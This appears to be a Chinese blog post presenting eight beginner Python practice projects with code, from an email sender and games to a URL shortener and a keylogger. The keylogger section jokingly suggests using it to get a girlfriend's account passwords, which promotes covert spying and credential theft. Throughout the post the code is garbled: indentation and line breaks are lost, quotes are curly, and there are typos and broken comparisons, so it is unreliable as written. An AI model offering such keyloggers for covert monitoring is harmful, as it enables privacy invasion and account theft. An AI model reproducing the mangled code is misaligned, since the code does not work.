适合Python练手的8个经典项目，有趣又实用！

正文

今天给大家分享的，是一些实战练习的小案例，如果你还是Python小白，可以再看看我前面几篇文章，如果是有了一点基础，那就尝试完成下面这些案例吧！

  

![](https://img-blog.csdnimg.cn/img_convert/cb2306eef59c13da840798b81d20f3df.jpeg)

**一、自动发送邮件**

  

用Python编写一个可以发送电子邮件的脚本。

  

提示：email库可用于发送电子邮件。

import smtplib from email.message import EmailMessageemail = EmailMessage() ## Creating a object for EmailMessageemail[‘from’] = ‘xyz name’ ## Person who is sendingemail['to'] = 'xyz id' ## Whom we are sendingemail[‘subject’] = ‘xyz subject’ ## Subject of emailemail.set_content("Xyz content of email") ## content of emailwith smtlib.SMTP(host=‘smtp.gmail.com’,port=587)as smtp: ## sending request to server smtp.ehlo() ## server objectsmtp.starttls() ## used to send data between server and clientsmtp.login("email_id","Password") ## login id and password of gmail` `smtp.send_message(email) ## Sending emailprint(“email send”) ## Printing success message

**二、Hangman（猜单词的游戏）**

用Python创建一个简单的hangman猜单词游戏。

  

提示：创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示，让用户猜单词，如果用户猜对了，则将用单词替换掉“”。

  

牛逼啊！接私活必备的 N 个开源项目！赶快收藏

import timeimport randomname = input(“What is your name? “)print ("Hello, " + name, "Time to play hangman!")time.sleep(1)print ("Start guessing...\n")time.sleep(0.5)## A List Of Secret Wordswords = [‘python’,‘programming’,‘treasure’,‘creative’,‘medium’,‘horror’]word = random.choice(words)guesses = ''turns = 5while turns > 0: failed = 0for char in word: if char in guesses: print (char,end=””) else:print ("_",end=""), failed += 1if failed == 0:` `print ("\nYou won")` `break` `guess = input("\nguess a character:")guesses += guess if guess not in word: turns -= 1` `print("\nWrong")print(“\nYou have”, + turns, ‘more guesses’) if turns == 0: print (“\nYou Lose”)

  

**三、闹钟**

用Python编写一个创建闹钟的脚本。

  

提示：用date-time模块创建闹钟，然后用playsound库播放声音。

  

from datetime import datetime from playsound import playsoundalarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")alarm_hour=alarm_time[0:2]alarm_minute=alarm_time[3:5]alarm_seconds=alarm_time[6:8]alarm_period = alarm_time[9:11].upper()print(“Setting up alarm…”)while True:` `now = datetime.now()` `current_hour = now.strftime("%I")` `current_minute = now.strftime("%M")` `current_seconds = now.strftime("%S")` `current_period = now.strftime("%p")if(alarm_periodcurrent_period):if(alarm_hour==current_hour):if(alarm_minutecurrent_minute):if(alarm_seconds==current_seconds):` `print("Wake Up!")` `playsound('audio.mp3') ## download the alarm sound from linkbreak

**四、石头剪刀布游戏**

创建一个石头剪刀布的游戏，游戏者与与计算机PK。如果游戏者赢了，得分就会添加，看谁最终的得分最高。

  

提示：先判断游戏者的选择，然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜，则增加1分。

  

import randomchoices = ["Rock", "Paper", "Scissors"]computer = random.choice(choices)player = Falsecpu_score = 0player_score = 0while True: player = input(“Rock, Paper or Scissors?”).capitalize()# 判断电脑与游戏者的选择if player == computer: print(“Tie!”)elif player == "Rock":if computer == “Paper”: print(“You lose!”, computer, “covers”, player) cpu_score+=1else:` `print("You win!", player, "smashes", computer)` `player_score+=1elif player == “Paper”:if computer == "Scissors":` `print("You lose!", computer, "cut", player)` `cpu_score+=1else: print(“You win!”, player, “covers”, computer) player_score+=1elif player == "Scissors":if computer == “Rock”: print(“You lose…”, computer, “smashes”, player) cpu_score+=1else:` `print("You win!", player, "cut", computer)` `player_score+=1elif player==‘E’: print(“Final Scores:”) print(f"CPU:{cpu_score}“) print(f"Plaer:{player_score}”)breakelse: print(“That’s not a valid play. Check your spelling!”) computer = random.choice(choices)

  

**五、提醒小工具**

利用Python一个提醒小工具，在设定好的时间在桌面做提醒通知。

  

提示：跟踪提醒时间可以用Time模块，显示桌面通知可以用toastnotifier库。

  

安装：win10toast

  

from win10toast import ToastNotifierimport timetoaster = ToastNotifier()try:` `print("Title of reminder")` `header = input()` `print("Message of reminder")` `text = input()` `print("In how many minutes?")` `time_min = input()` `time_min=float(time_min)except: header = input(“Title of reminder\n”) text = input(“Message of remindar\n”) time_min=float(input(“In how many minutes?\n”))time_min = time_min * 60print(“Setting up reminder…”)time.sleep(2)print(“all set!”)time.sleep(time_min)toaster.show_toast(f"{header}",f"{text}",duration=10,threaded=True)while toaster.notification_active(): time.sleep(0.005)

**六、文章朗读器**

用Python编写一个脚本，实现自动从提供的链接读取文章的功能。另外，搜索公众号编程技术圈后台回复“Python进阶”，获取一份惊喜礼包。

  

import pyttsx3import requestsfrom bs4 import BeautifulSoupurl = str(input("Paste article url\n")) def content(url): res = requests.get(url) soup = BeautifulSoup(res.text,‘html.parser’) articles = []for i in range(len(soup.select('.p'))):` `article = soup.select('.p')[i].getText().strip()` `articles.append(article)` `contents = " ".join(articles)return contentsengine = pyttsx3.init('sapi5')voices = engine.getProperty(‘voices’)engine.setProperty('voice', voices[0].id) def speak(audio): engine.say(audio) engine.runAndWait() contents = content(url)## print(contents) ## In case you want to see the content #engine.save_to_file#engine.runAndWait() ## In case if you want to save the article as a audio file

**七、短网址生成器**

用Python编写一个脚本，实现用API缩短指定URL的功能。

  

from future import with_statementimport contextlibtry:from urllib.parse import urlencodeexcept ImportError:from urllib import urlencodetry:from urllib.request import urlopenexcept ImportError:from urllib2 import urlopenimport sys def make_tiny(url):` `request_url = ('http://tinyurl.com/api-create.php?' + urlencode({‘url’:url}))with contextlib.closing(urlopen(request_url)) as response:return response.read().decode(‘utf-8’) def main():for tinyurl in map(make_tiny, sys.argv[1:]): print(tinyurl) ``if name == ‘main’: main()

**八、键盘记录器**

用Python编写一个脚本，实现将用户在键盘上按过的按键记录下来，并保存在一个文本文件中。

  

提示：控制键盘和鼠标的移动就不得不推荐pynput这个库了，它还可以用于制作键盘记录器，通过读取被按下的键，然后将它们保存在一个文本文件中。（咳咳，想知道女朋友的账号密码的可以好好学习下）

  

from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller() keys=[]def on_press(key):global keys#keys.append(str(key).replace(“'”,“”)) string = str(key).replace(“'”,“”) keys.append(string) main_string = “”.join(keys) print(main_string)if len(main_string)>15:with open(‘keys.txt’, ‘a’) as f: f.write(main_string)keys= []` `def on_release(key):if key == Key.esc:return False with listener(on_press=on_press,on_release=on_release) as listener: listener.join()

![](https://img-blog.csdnimg.cn/img_convert/71d430cc6730717c6685cc531682372b.png)

  

以上就是“适合Python练手的8个经典项目，有趣又实用！”的全部内容，希望对你有所帮助。
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